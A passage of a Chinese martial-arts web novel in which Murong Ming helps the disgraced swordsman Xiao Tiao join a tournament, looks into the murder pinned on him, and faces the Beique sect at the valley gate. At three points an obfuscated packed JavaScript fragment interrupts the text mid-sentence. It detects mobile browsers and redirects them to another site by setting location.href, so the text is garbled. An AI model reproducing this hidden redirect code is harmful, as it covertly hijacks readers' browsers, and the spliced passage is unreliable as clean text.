慕容暝端详着萧迢的神情,他此刻正极力压制着翻涌的心绪,眼角因激愤而泛起了红,刀意也愈发冷冽凌厉。 慕容暝见状,不再多言。倒不是她不想,萧迢的武功并不弱于她,被她方才那么一激后更是锐不可当,容不得她分神。 二人鏖战之际,躲在一旁的独眼大汉偷摸着站起身来,和倒在地上的一人交换了一个心照不宣的奸诈眼神。霎时间,独眼壮汉将自己的鬼头阔刀飞掷而出,与此同时,地上那人弹指一挥射出数枚飞镖,竟是打算趁乱一齐偷袭慕容暝。 慕容暝在他们出手的瞬间立刻察觉,左后方是力贯千钧的鬼头阔刀,右后方是地上那人射出的数枚暗器,而慕容暝的前方,萧迢的长刀悍烈攻来——顷刻形成了三面夹击的局势,无论慕容暝向何处躲避,都没有全身而退的可能。 千钧一发间,慕容暝当机立断,三害相权取其轻,挥剑弹飞右侧袭来的飞镖,造成空缺,旋即向右掠身闪去。虽依旧无法完全避开飞来的鬼头阔刀,至少能护住要害,不至于落下致命伤。 然而,萧迢的这一刀,是无论如何也避不开了,她也早已做好准备承受这一刀。 她在赌,赌她没有看错萧迢的为人。 “铛!” 金属撞击的刺耳锋鸣陡然响起,预想中的疼痛却迟迟未至。慕容暝扭头看去,只见萧迢陡然将手中长刀偏转方向,将独眼壮汉掷来的鬼头阔刀瞬间斩落于地,力道之大,竟将鬼头阔刀生生断作两截。 萧迢看向独眼壮汉,他已然动了杀念,面色阴沉愠怒,道:“卑鄙,竟然使这些下作手段!” 独眼大汉见自己的刀被萧迢挡下,功亏一篑,气得差点就要真气走岔走火入魔,骂骂咧咧道:“呸,装什么正人君子!你不也是冲着她来的吗!” 萧迢将刀锋一转,直指独眼大汉,冷冽道:“若你们堂堂正正以实力取胜,我不会多管闲事。但你们以多敌少在先,方才又利用我出手的机会暗害于她,我绝不容忍!” 慕容暝早已站定在一旁,俯身拾起掉落在地的暗器,只见那飞镖的镖刃处呈淡青色,明显是淬了毒的。 慕容暝并不意外,只道:“我向来心眼小,睚眦必报,你们既然对我使了这招,想必也已经做好承受后果的准备了。” 说罢,慕容暝毫不拖泥带水,将手中捡来的飞镖全数掷出,狠狠钉进了独眼大汉和使飞镖那人的体内,两道惨叫声不约而同响起。 慕容暝淡然道:“像你们这样的人,留着一身武功也只会作恶,还是废了的好。” 萧迢看清了慕容暝动作,她将毒飞镖钉进了那两人的几处大穴,一身武功修为顷刻散尽。但这都是他们咎由自取,慕容暝肯留他们性命,已经是网开一面。 慕容暝道:“毒是你们使的,有什么样的后果你们最清楚不过。若你们还留有一丝余地,没有用致命毒药,那至少还能留下性命,若是淬的见血封喉的剧毒……就祝你们投个好胎吧。” 独眼壮汉意识到了事情的严重性,顿时仓皇失措,朝射飞镖那人嚷嚷道:“不……解药,解药呢?!快给老子拿出来啊!” 飞镖人欲哭无泪:“我出门时忘记带了……” 慕容暝不再理会二人,转头看向萧迢,道:“出去说吧,这里实在太吵。” “好。”萧迢应着,将刀收回鞘中,跟着慕容暝一同走出了驿馆。 先前打斗时,慕容暝的那番话确实让萧迢一时激愤,他早已冷静下来,不再否认自己的身份,道:“慕容少主,你说的没错,我的确是北阙宗的萧迢,你……要将我绑了送回北阙宗吗?” 慕容暝道:“嗯,的确是个不错的主意。我要是将你绑了押送去北阙宗,向那位新上任的徐宗主邀功,定能赚北阙宗一个不小的人情。” 萧迢眼神落寞,苦涩一笑:“是啊……” 慕容暝道:“上回你在陵州城助我脱困,我曾许诺,下次见面必当报答。今日你又帮了我一次,我又多欠你一回。” 萧迢摇了摇头:“慕容少主,你并不欠我的,我也不求什么回报,不必在意。更何况,如果不是我提出要与你比试,也不会让他们找到偷袭的机会。” “我一向说到做到。”慕容暝说得掷地有声,她走近萧迢,抬眸直视向他。萧迢的身量比她高大许多,她需要微微仰起头才能与他对视,但于气势上却并不低一头,“半个月后的集英大会,我可以让你以问剑谷客卿的身份参加,当作我的报答。我猜……你应该需要这个机会吧?” 四年一度的集英大会是武林中的头等盛事,各派皆会选出本门适龄弟子中的佼佼者前往参加。届时,各派弟子在集英大会中轮番比试,若能搏得好名次,不仅能为宗门树立威信,弟子本人也能凭此名声大噪。 历届集英大会的魁首,几乎都成了扬名天下的英杰豪侠,正因如此,集英大会对于每一个宗门弟子而言都是心驰神往的存在。 以萧迢的天赋与实力,他本该毫无悬念地被北阙宗选派参加今年的集英大会,更是炙手可热的夺魁人选。可造化弄人,数月前的一场变故,却让他被扣上弑师叛逃的罪名,逐出了北阙宗。 曾经宗门的天之骄子,转眼间沦为千夫所指的罪人,其中的酸楚苦痛,恐怕只有萧迢本人清楚。 慕容暝明白,萧迢这样意气风发的年少强者,必然是渴望参加武林集英大会的,即使他不能光明正大地出现,代北阙宗出战,单单是能到集英大会现场亲眼一观,就足以令他心生向往。 萧迢并未立刻回答,他垂眸思忖,长睫掩去了他眼底流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108771|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转的种种情绪。半晌,他终于开口道:“慕容少主,我如今这样的身份,说是灾星也不为过。若我出现在集英大会上,会给你和问剑谷招来许多麻烦的。” 慕容暝道:“无妨,我都能摆平,你只需要考虑自己愿不愿意。” “……我没有害死师父。”萧迢忽然说了这么一句,“慕容少主,你会相信吗?” 事发以来,他曾无数次为自己辩解,可没人会听,更没人会信。在那所谓的“铁证如山”面前,连他自己都开始动摇,旁人唾骂他是个弑师叛逃的逆徒,他也逐渐变得麻木无觉。可不知为何,在他见到慕容暝之后,心中忽然又抱了些隐密的期许。 或许他的冤情有处可诉,或许她愿意一听。 慕容暝看着萧迢,听他这么一说,她便信了七八分。萧迢师父的事情她也有所耳闻,其中本就疑点重重,而她与萧迢虽只见过这匆匆两面,却已然看到了萧迢的正直磊落,眼里容不下一丝阴谋算计。 这样的人,说他会弑师叛逃,慕容暝是不信的。比起传闻中的那些虚虚实实,她更相信自己亲眼所见。 “做没做过,你心里是最清楚的。只要问心无愧,旁人相不相信,其实不那么重要。”慕容暝顿了顿,接着道:“而且,如果我认为是你杀了萧琮宗主,早就将你亲手正法了,不会在这里和你闲聊。” 萧迢闻言,眼中那黯淡下去的光忽然又明媚起来,面上终于再次浮现了笑容:“多谢……多谢你愿意信我。” 慕容暝道:“那么,集英大会,你要不要来?” 萧迢没有立刻回答,慕容暝也不催促他,在心中暗自揣测起来。 许是萧迢心高气傲,不愿凭着她的帮助以客卿的身份出现吧。曾经那样众星捧月的人,怎会甘愿隐姓埋名,憋屈地以一个无名客卿的身份出现在集英大会上、出现在他昔日的师门面前?他也许会拒绝吧,慕容暝如此想道。 更何况,她提出这个提议本来也有着她自己的目的……以萧迢的才智,他不会不知她的别有用心。 就在慕容暝心思转过九曲十八弯时,萧迢却蓦然对她一笑,坦诚道:“慕容少主,你说得没错,我确实需要这个机会,我想去集英大会。” 慕容暝微微一怔,她望向萧迢,妄图审视他真正的想法。可他笑着的眼中清可见底,不见半分晦暗阴霾,让慕容暝先前的诸般猜疑瞬间土崩瓦解。 萧迢见慕容暝看着自己不说话,接着道:“这场集英大会,我等了很多年,早在刚拜入北阙宗那时就在期待着。虽然现在的我……早就没有资格替北阙宗出战了,但我还是想去看看,哪怕没有机会站上擂台,去见识一番也是好的。” 慕容暝自认为见惯了尔虞我诈、人心叵测,她总是习惯用最阴暗的心思去揣度他人。可如今,偏偏出现了这样一个赤诚之人,将他的内心直截了当地摆在她眼前,那颗心透若琉璃,让她的所有心思都落得百无一用。 慕容暝莫名产生了一种可以称为惭愧的情绪,让她极为难得的有些无措。 她只觉得萧迢的目光实在灼灼,不动声色错开了视线,将腰间的令牌解下递给萧迢,道:“既如此,十日之后,你带着这块令牌来问剑谷,我会替你安排好一切。” 14.集英盛会1 金阳城外,问剑谷中。 问剑谷为今年的集英大会早已筹备了数月,一应事宜都已妥帖,只待客来。距集英大会还有几日,各派中人陆续抵达问剑谷,山门前人马络绎不绝,很是热闹。 慕容暝从来不喜喧闹,更不爱应酬宾客,悄悄绕道从后山小门进了问剑谷,避开了外头的人群。 甫一进谷,慕容暝便看到一队刚入门的新弟子正在后山石坪上练剑,负责带领教习他们的高阶内门弟子却不见人影。这群年纪尚小的弟子无人管束,开始嬉笑打闹,拿着手中木剑胡乱比划,耍作一团。 慕容暝见状,径直朝着他们的方向走去。有眼尖的弟子瞧见了她,连忙拍了拍玩得不亦乐乎的同伴,提醒道:“等等,先别闹了,有人过来了。” 众弟子闻言,齐齐扭头朝慕容暝看去,只见一位清丽女子款步走来,手执长剑,泼墨似的黑发用发冠束在脑后,衣袂与发丝随山风一同翩飞,如雪中谪仙,孤傲出尘。 一个弟子视力欠佳,眯起眼睛使劲瞅着,好奇道:“那是来参加集英大会的宗门弟子么……可是他们不都住在前山,上是怎么进到后山的?” 有认出慕容暝的弟子惊呼道:“呆子,那是少主!快,别玩了,赶紧摆好队形练剑啊,被少主发现就糟了!” 弟子们那还顾得上方才那一眼的惊艳,登时如临大敌,手忙脚乱地排好队列,装模作样地练起了剑。 这些小动作自然逃不过慕容暝的眼睛,她停下脚步,目光扫过那群弟子,问道:“今日领你们练剑的是谁?” 明明只是一个简单的问句,语气中也并无责怪之意,众弟子却噤若寒蝉,没来由地生出了冷汗。 弟子们虽然受迫于慕容暝的威压,但他们也不愿师兄因此受罚,遂都将头埋了下去,眼神躲闪,避免与慕容暝的视线交汇,无人敢回应慕容暝的问题。 慕容暝见弟子们这般反应,心中了然。在问剑谷的高阶内门弟子中,会这样放任弟子们嬉闹,又能让弟子们如此维护的,唯有一人。 慕容暝不紧不慢地道:“怎么,你们怕我治江尧的擅离职守之罪?” 弟子们闻言,仿佛一群被揪住了后脖颈的猫,紧张怯懦。与此同时,慕容暝发觉几个弟子的眼睛正往她身旁的一棵老榕树上拼命瞟着,她侧耳一听,一道绵长平稳的呼吸声正从老树上方悠悠传来。 “原来在这里啊。” 慕容暝抓了个现行,蓦然向那老榕树挥出一掌,震得枝干颤颤巍巍,叶片簌簌落了一地,伴随着树上一声惊叫响起:“嗯?……地动了?!快跑啊!” 紧接着,一个人影从树上跌落,重重砸在了地上,发出一声令人肉疼的闷响。 江尧怀中还抱着自己的佩剑,这下佩剑也和它的主人一样叮铃哐啷掉在地上,正好落在慕容暝脚边。 慕容暝俯身将江尧的剑拾起,江尧的剑通体朱紫,观之灵巧轻盈,握于手中时,却有着与外观不相称的沉重。 他的剑名唤“何解”,慕容暝曾问过他为何要给剑起这么个怪名字,江尧说,因为他总是解不出算学夫子出的题目,实在头疼得很,所以起了何解这个名字。 “嘶,真疼啊……咦,少主你回来啦?” 江尧看清来人,一骨碌从地上爬起,捂着屁/股凑到慕容暝跟前。慕容暝见他睡眼惺忪,身上天青色的高阶内门弟子服松松垮垮地挂在身上,衣襟上还沾着几片老榕树的破叶子。 慕容暝将何解递回给江尧,皮笑肉不笑,关切道:“江尧师兄,睡得好吗?” 江尧接过何解,拍了拍身上的尘土落叶,将散开的衣襟随手拢起,讨好笑道:“阿暝,我今日起了个大早,实在困得不行,去树上打了个盹……你行行好,就饶我这回吧,千万别告诉师父师娘。” 慕容暝看向江尧,已近晌午的太阳透过榕树叶隙恰巧落在他面颊,映着他剑眉星目的明俊面容,正没皮没脸地对她笑着。 慕容暝道:“行了,你这么多年犯的大小门规还少么,要真追究起来,将你逐出问剑谷都不够罚的。” 江尧嘿嘿一笑:“少主菩萨心肠,从不会跟我这种人计较。对了,此去陵州城可还顺利?” 慕容暝:“老样子,遇到一些麻烦鬼,不过都解决了。” 江尧:“那就好。” 慕容暝见他那副懒散模样,忍不住提醒道:“过几日就是集英大会,到时各派的宾客都在问剑谷中,你收敛些,不然叫旁人见了,以为我们问剑谷弟子都像你一样没个正形。” 江尧道:“有少主你威名在外,我们问剑谷的招牌就倒不了。” 慕容暝听到江尧拍的这一通马屁,忍俊不禁,嘴角勾起一丝弧度,而后又瞬间收敛,清了清嗓子点头道:“你知道就好。”说罢,慕容暝头也不回地转身离开了。 待慕容暝的身影消失在山径尽头,弟子们这才齐齐松了口气,如释重负。 有弟子嘀咕道:“可真是吓人,少主光是看我一眼我都觉得后背发凉,整个问剑谷恐怕也只有江尧师兄敢这样和少主有说有笑了。” 在问剑谷弟子们的心中,慕容暝的威严甚至超越了宗主慕容连衡。慕容连衡虽是宗主,为人儒雅随和,从不摆宗主的架子。而慕容暝平日里却总是冷冰冰的,一副不苟言笑、不近人情的模样,叫人不敢亲近。 又有弟子道:“难怪江湖上给少主的名号叫做雪无常,倒是挺配少主的。” “一群刚入门的小崽子,还编排起少主来了,以后不许这样。”江尧坐在一旁的石阶上,随手捡了根狗尾巴草把玩起来,“那是你们对她还不够了解,我们的这位少主,是实打实的外冷内热、嘴硬心软,而且很是护短呢,跟着她混准没错。” 一名弟子忍不住感慨:“真是奇怪,少主与晴师姐明明是姐妹,虽说晴师姐是宗主的义女,并无血缘关系,但她们自幼一同长大,为何晴师姐那么平易近人,少主却……” 江尧笑了笑,低头捻着手中的狗尾巴草,没有回答。 慕容暝的真实身份是问剑谷的头等绝密,旁人自是无从知晓,可他当年亲手将慕容暝从街上捡了回来,对她的来历再清楚不过。慕容连衡和蓝令容信任他,让他一同保守着这个绝密。 就这样,江尧看着她从一个孑然无依的孤女成了今日的问剑谷少主,也成了无人不晓的雪无常。也正因为有慕容暝的庇护,替慕容晴挡下无数劫难,才让慕容晴能够长成今日这样无忧无虑、天真烂漫的性子。 他一直都知道。 “轰——!” 这旁,慕容暝一路行至内院,忽然听得一声震天巨响,而巨响的来源正是慕容晴居住的晴霓轩。她心中陡然一惊,来不及多想,施展轻功急急奔向慕容晴的院落。 慕容暝赶到晴霓轩,见她房门紧闭,生怕慕容晴在屋里头出了意外,直接一掌震开房门,破门而入。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113331|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小晴!” 慕容暝急唤一声,却见慕容晴正坐在地上,灰头土脸,正眨巴着一双明亮有神的杏眼呆呆望向慕容暝。 当年沉睡在禁地之中的女孩,如今出落成了妙龄少女。慕容晴生着一张偏圆的鹅蛋脸,柳眉杏眼,明眸皓齿,活泼灵动如山野小鹿。她身着一袭鹅黄色襦裙,衣袖用襻膊束至身后,露出一截匀称的小臂,而那手臂和襦裙上,到处都是桐油和木屑的痕迹。 慕容暝环视屋内,慕容晴的房间还是老样子,各种金属木头制成的器件琳琅满目,涂改了无数次的图纸散乱堆叠,墙面中央悬挂着一幅字画,上头工工整整写着“格物致知”四个大字。 这是慕容晴十二岁那年亲手写下的,并一直将这句话当作她的毕生志向。 慕容暝见屋内一地狼藉,慕容晴周身散落着一堆稀碎零件,立刻明白发生了什么。 慕容晴原本被房门破开的动静吓了一跳,见来人竟是离家大半个月的慕容暝,大喜过望道:“……姐姐?你回来了!” 说着,慕容晴从地上利索爬起,下意识想要给慕容暝一个拥抱。手伸出一半,她后知后觉,发现自己浑身都脏兮兮的,只得讪讪收回了手。 慕容暝看在眼里,微微一笑,伸手摸了摸慕容晴的脑袋,又替她将脸上的脏污抹去,无奈道:“我再不回来,只怕整个问剑谷都要被你拆得片甲不留了。” 慕容晴道:“嘿嘿,就算我真把问剑谷拆了,也至少会留着姐姐的暝雪居,等你回家的。” 慕容晴见慕容暝不仅没嫌弃她脏,还主动伸手替她擦去脸上的灰,这对慕容晴而言是一种无声的鼓励。她放下心来,笑着扑上去给了慕容暝一个大大的拥抱,将头埋在慕容暝颈间蹭了又蹭:“姐姐,你这一走就是大半个月,你不在的这些日子我可无聊死了。” 慕容暝任由她抱着,笑道:“那我不在的这些天,我们的天工大匠可有什么新发明?” “唉,别提了。”慕容晴撇嘴,指了指满地的零件,“本来是做出来了一个新的机巧,可刚刚……姐姐你也看到了。” 慕容暝宽慰道:“失败乃成功之母,下次一定能成。” 当年蓝毓容用秘术封住了慕容晴的全身经脉,以此压制她体内的恶剑魔内力,隐去了崭绝印。慕容晴的气海也因此化作一摊死水,难起波澜,形同一个根骨平庸的普通人,这辈子都注定不能像慕容暝一样习武练剑。 起初,慕容连衡和蓝令容担忧慕容晴会因此受挫难过,还苦恼于要如何向她解释这件事。没想到慕容晴是个乐天知命的性子,对此并不在意,只当自己天生不是习武的料,非常轻松地接受了这个事实,倒免去了知晓真相的一干人等找借口圆谎的功夫。 说来也奇,慕容晴身为慕容连衡的亲生女儿,却对剑术一道无半点兴趣,偏偏醉心机关造物之术。慕容连衡与蓝令容也决定尊重和支持慕容晴的喜好,事事依她,只盼她平安喜乐便好。正因如此,慕容晴对武功是半点不通,却于格物驭器一道造诣颇深。 慕容晴握起慕容暝的手,拉着她到桌前坐下,迫不及待道:“姐姐,这次下山可遇到了什么有趣的事?快讲给我听听!” 出于对慕容晴的保护,慕容连衡和蓝令容一直尽可能让她呆在问剑谷中,少有机会出谷。慕容暝每次外出回来,慕容晴总要缠着她,听她说些外头的新鲜事。 慕容暝道:“好,听我慢慢跟你说。” 15.集英盛会2 在集英大会前的这最后几日里,慕容暝做了两件事。 这第一件事,是着人去调查了北阙宗前任宗主萧琮,也就是萧迢的师父遇害一案的种种细节。 暝雪居书房内,慕容暝端坐于桌前,听着近侍弟子丹心和碧血的回禀。 丹心道:“据探子回报,萧琮宗主是在闭关养伤时遇害的。事发当夜,曾有不少北阙宗弟子目击到一个身形和萧迢极为相似的人,形迹可疑地进到了萧琮宗主所住的院子里。第二天一早,有人在院门外发现了血迹,进到屋内查看,便见萧琮宗主已经被害。” 慕容暝道:“身形相似之人要多少有多少,不会仅凭这个就能给萧迢定罪,物证呢?” 丹心道:“北阙宗定罪的证据,是萧琮宗主身上的致命刀伤,那伤口是他的独门绝技‘北雁南飞’所造成的,形状很是特别。而这招北雁南飞,除了萧琮宗主本人之外,只有他的亲传弟子萧迢才会。” 一旁安静听着的碧血忽然出声,道:“可我记得萧琮宗主有两位亲传弟子。” 丹心道:“不错,是有两个亲传弟子,但另一个亲传弟子才刚入门没几年,年纪尚小,还无法习得北雁南飞这样的绝技。并且……萧琮宗主身上那道致命伤,伤口的朝向,是左手使刀才能造成的。” 慕容暝闻言,略微回忆了一番,那日萧迢在半坡驿和她比试时,确实是用左手持刀。她豁然道:“若我猜得不错,北阙宗的人说只有萧迢一人惯用左手使刀,凭此认定他就是杀害萧琮宗主的凶手,对么?” 丹心点头道:“正是,少主。” 慕容暝却不以为然:“北阙宗的人向来尚武好斗,莫不是整日练刀练得四肢发达头脑简单,竟如此草率就定了案,实在荒谬。” 丹心被慕容暝的话逗得忍俊不禁,扑哧一笑,问道:“少主为何会这么说?” 慕容暝不答反问:“丹心,假如你要来杀我,你会用我亲自教给你的剑法吗?” 丹心听到慕容暝的问题,瞬间瞪大了眼,连连摆手,声音陡然拔高几度:“我绝不可能这样对少主,我对少主的忠心天地可鉴!” 碧血白了丹心一眼,道:“你这呆子,少主的意思是,如果真是萧迢本人所为,他绝不会留下辨识度这么高的伤痕。留下这样的伤,就好像生怕别人认不出是他做的。” 丹心恍然大悟:“对哦,正常的凶手都会想隐藏身份,怎么还会用自己的独门绝技……” 慕容暝淡淡道:“如此明显的栽赃陷害,稍微细想便能发现不对劲,可北阙宗上下竟无一人站出来替萧迢说话,装聋作哑。” 碧血笑了笑,意味深长地道:“怕是这位萧少侠挡着某些人的路了吧。” 丹心在一旁听得云里雾里,道:“挡什么路啊,我怎么一点没听明白呢?” 碧血装模作样地宽慰道:“不明白就不明白吧,傻人有傻福,你的福气可大着呢,挺好的。” 丹心:“喂,这句我听明白了!” 慕容暝看着日常拌嘴的二人,无奈一笑。 除此之外的第二件事,慕容暝替萧迢寻了个当幌子的假身份,为他入问剑谷参加集英大会的一切事务都打点妥当。 自从慕容暝成了问剑谷少主后,慕容连衡出于对慕容暝能力的信任,以及想要弥补对她的亏欠,将问剑谷的大小事务几乎全权交由她这个少主处理,赋予了慕容暝极大的实权。 因此,慕容暝想要神不知鬼不觉地为萧迢安排一个客卿的身份参加集英大会,并非难事。 几天的时间转眼便过,距集英大会只余三日光景,也是慕容暝先前约定好让萧迢来问剑谷的日子。 参加集英大会的各派代表陆续抵达问剑谷,诸事纷杂,慕容暝在书房中一一处理,忙得不可开交。慕容晴坐在一旁的罗汉床上,百无聊赖翻看着新出的话本,十分懂事地不去打扰慕容暝,屋内氛围倒也算安静平和。 屋外,一道急促的脚步声由远及近,将原本的平静踩得一片稀碎,碧血疾步赶来,道:“少主。” 慕容暝从书案上堆积如小山的文书中抬起头,问道:“出什么事了?” 碧血面露难色,禀道:“少主,有个男子带着您的令牌来到山门外,说要见您。” “……男子?”慕容晴捕捉到了关键词,抛开话本,从罗汉床上噌的一下站起,凑到碧血身边八卦起来,“碧血,那男子长什么模样?俊不俊俏?是何门派?来找姐姐作甚?” 碧血被她这一连串的问题搅得哭笑不得,无奈道:“晴小姐……” 慕容暝知道来人应当是萧迢,便道:“既然要见我,带他进来就是,为何如此慌张?” 碧血道:“是北阙宗的人马也同时到了,也不知为何,莫名其妙想要为难那男子。现下他们正在山门外僵持,丹心她在那旁盯着,让我赶紧回来请示少主。” 还真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122262|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冤家路窄,没想到萧迢竟然和北阙宗的人撞在了一处。慕容暝皱了皱眉,将手中的笔搁在砚上,起身道:“走吧,随我出去看看。” 慕容晴自然不会放过这凑热闹的机会,赶紧提步跟了上去:“姐姐,我也和你一起去!” 时间倒退回一盏茶前。 北阙宗的新任宗主徐秉山一路奔波,带着他的亲传弟子越子游以及几位内门弟子到了问剑谷。在山门外负责迎客的丹心和碧血快步上前,行礼道:“见过徐宗主,烦请徐宗主出示拜帖,我们核对过人数之后便会引北阙宗的各位贵客入谷。” 徐秉山应声,转头吩咐一旁的越子游取拜帖出来,蓦然听到身旁一道男子的声音响起:“在下应邀而来,求见慕容少主。” 徐秉山觉得这声音莫名有点耳熟,便心不在焉地朝那旁瞥了一眼,只一眼,他的视线就再也挪不开了。 越子游递过拜帖,见自己师父杵在原地对着一个男人怔怔出神,不由得纳闷起来,问道:“师父,您认识这个人么,为何一直盯着他看?” 徐秉山眯了眯眼,道:“子游,你有没有觉得,那个人有些像萧迢?” 越子游闻言,大惊失色,也跟着扭头望向那个陌生男子。只见那男子身形的确和萧迢肖似,却容貌平平,和萧迢本人的模样八竿子打不着边,也瞧不出易容的痕迹。 越子游觉得是师父多虑,道:“身形和气质确实有几分相似,可那张脸却没半点相像啊。” 徐秉山冷哼一声:“用了易容术也不是没可能,你别忘了,当年他师娘温显意教给他的轻功和易容术,他可都学得炉火纯青。” 越子游道:“如果这人真的是萧迢,又怎敢在此出现,岂不是自投罗网?” 徐秉山眼神闪烁,沉声道:“进入问剑谷参加集英大会都要核验过身份,绝不会放任一个身份不清不楚的人进来,若他真是萧迢,只怕是问剑谷中有人相帮,而且……那帮手的权力还不小呢。” 越子游道:“我们早就向各派发出追捕萧迢的文书,帮他就是公然与师父您和北阙宗作对,谁有那么大的胆子?说不定只是一个和萧迢有些相像的人,也未必真就是他。” “哼……是与不是,试试便知!” 徐秉山儒雅谦和的脸上乍然浮现出狠戾之色,他原以为自己可以高枕无忧了,若是萧迢再冒出来……他决不容许有任何意外。 至于萧迢,他必须得死。 16.集英盛会3 待慕容暝等人赶到时,山门前已经聚集了不少看热闹的人。慕容暝退开人群,看到了一个相貌普通的陌生男子,只随身带着一个简单的行囊包袱,手中并未拿着武器。他静立原地,神情淡然自若,瞧不出什么异样。 男子的对面,则是北阙宗的一行人,各个身佩长刀,神情倨傲,对那男子的态度算不得友好,两方之间的气氛剑拔弩张。 男子见到慕容暝,眼神倏然一亮,原本没有表情的脸上添了分柔和的笑意,抱拳行礼道:“慕容少主。” 萧迢今日易了容,又刻意将自己的声线压得低沉,可慕容暝在看到他那双眼睛的一瞬,自然而然就认出了他。 慕容暝对他的易容术感到很是新奇,仔细端详起他的脸来。 萧迢的易容术出神入化,如此近的距离,细看之下也发现不了丝毫易容的痕迹,要不是慕容暝早就见过他的真容,一定会认为这就是他原本生着的脸。 萧迢易容成了一个相貌普通的男子,整张脸可谓毫无记忆点,放进人堆里绝对找不出来的那种平平无奇。但容貌易改,身形难变,若只看背影,萧迢在人堆里依旧是气质拔群的存在。 他平日刀不离身,今日却并未随身带着他的佩刀,想必也是不愿被北阙宗的人认出来。 萧迢:“……?” 萧迢发觉慕容暝的视线一直停留在自己的脸上,莫名局促起来,他欲盖弥彰般挪开了视线,假脸之下的真脸熏起了微赧的热意。 慕容暝对萧迢的异样浑然未觉,朝萧迢微微颔首示意,转而向一旁的徐秉山抱拳一礼,道:“问剑谷慕容暝,见过徐宗主。” 徐秉山见慕容暝主动向自己行礼,面色稍霁。他不动声色地看向慕容暝额间的崭绝印,挂上了客套的笑意,道:“原来是慕容少主。今日还是徐某第一次见到少主,果真是和传闻一般无二,一表人才。” 慕容暝抬眸,同样悄然打量起面前的徐秉山和越子游师徒二人。 徐秉山是前任宗主萧琮的同门师兄,在萧琮过世后顺理成章地继任北阙宗的新任宗主之位。他已过知天命之年,长着一张容长脸,颧骨高耸,唇上留着两撇自以为仙风道骨的胡须,但他的双眼中没有半分得道高人的超脱,全是俗气。 徐秉山的亲传弟子越子游倒是相貌堂堂,高大英武,身形与萧迢有七分神似。只是他眉宇间满是飞扬跋扈之气,看向其余弟子的眼神轻蔑不屑,目空一切、盛气凌人,叫人见了只会想要敬而远之,白白浪费了一副好容貌。 慕容暝道:“徐宗主谬赞。我听闻徐宗主在山门外迟迟没有进谷,可是我问剑谷有何招待不周之处,惹得徐宗主不快了?” 徐秉山摸了摸唇上的两撇胡须,虚伪一笑,道:“没什么,就是方才见慕容少主身旁那位小友像极了我的一位故人,便想着结识一番。只是那位小友似乎对我们有些误会,态度……并不友善,我徒弟子游又是个脾气差的,一点就着,不慎闹起来了。” 胡说八道。慕容暝在心中冷斥一声,萧迢今日既易了容又没带刀,明显是不愿被北阙宗的人认出,对他们只会避之不及,更不会无端生事。明显是徐秉山师徒二人起了疑心,存心挑事,好让萧迢露出破绽。 萧迢也在慕容暝身侧小声道:“他们应是对我有所怀疑,想来试探,我没有接他们的招。” “嗯。”慕容暝轻声应了他,再朗声向北阙宗众人解释道:“这位是我请来参加集英大会的客卿,他性格一向孤僻,若是惹徐宗主和北阙宗的各位不快了,我代他向各位致歉。” 说罢,慕容暝转头对萧迢道:“既然来了,先随我进去吧。” 慕容暝带着萧迢转身欲走,竟没打算继续理会北阙宗的一干人等,徐秉山和越子游有些诧异,齐齐变了脸色。 越子游显然比他师父更沉不住气,疾言厉色喊住了二人,道:“慢着!” 慕容暝见越子游继续发难,面色霎时不悦,转瞬后又恢复如常,她回身望向徐秉山和越子游,问道:“二位是还有其他的事?” 越子游冷哼一声:“这便是慕容少主的待客之道吗?不亲自引我等入谷,却对这个无名小卒如此殷勤!” 在一旁看热闹的慕容晴低声骂道:“他算哪根葱,怎敢对姐姐这样无礼?!”她见越子游对慕容暝不依不饶,气得当场就要发作,抄起袖子就要上前理论。 丹心和碧血见状,赶紧拽住了慕容晴,劝慰道:“晴小姐,你先消消气,少主心中一定有数的,千万别冲动啊!” 慕容暝对越子游的印象本就不怎么好,他这么一闹,更是将不存在的好感度瞬间拉到负值。她眉心微微一跳,有些不耐,道:“越少侠,想来是我方才说得还不够清楚,他是我亲自邀请来参加集英大会的客卿,有我的令牌为信物,自然能得我亲自招待。如果越少侠带着我的信物前来,我同样也会亲自迎你进谷。” 越子游道:“哼,我竟不知,什么无名小卒都能成为问剑谷的座上宾了吗!” 慕容暝道:“如若不能,越少侠今日也不会出现在此了。” 此话一出,在场的所有人都愣了一瞬,等到反应过来慕容暝话中的内涵之后,表情皆五花八门、精彩纷呈。 慕容晴在一旁掩嘴笑了起来,就差没有替慕容暝鼓掌喝彩了,她小声对着身边的碧血和丹心道:“姐姐说得好,气死他,让他敢在我们问剑谷的地盘撒野!” 丹心和碧血也早就看这越子游不爽,见他吃瘪都乐不可支,憋笑憋得很是辛苦。 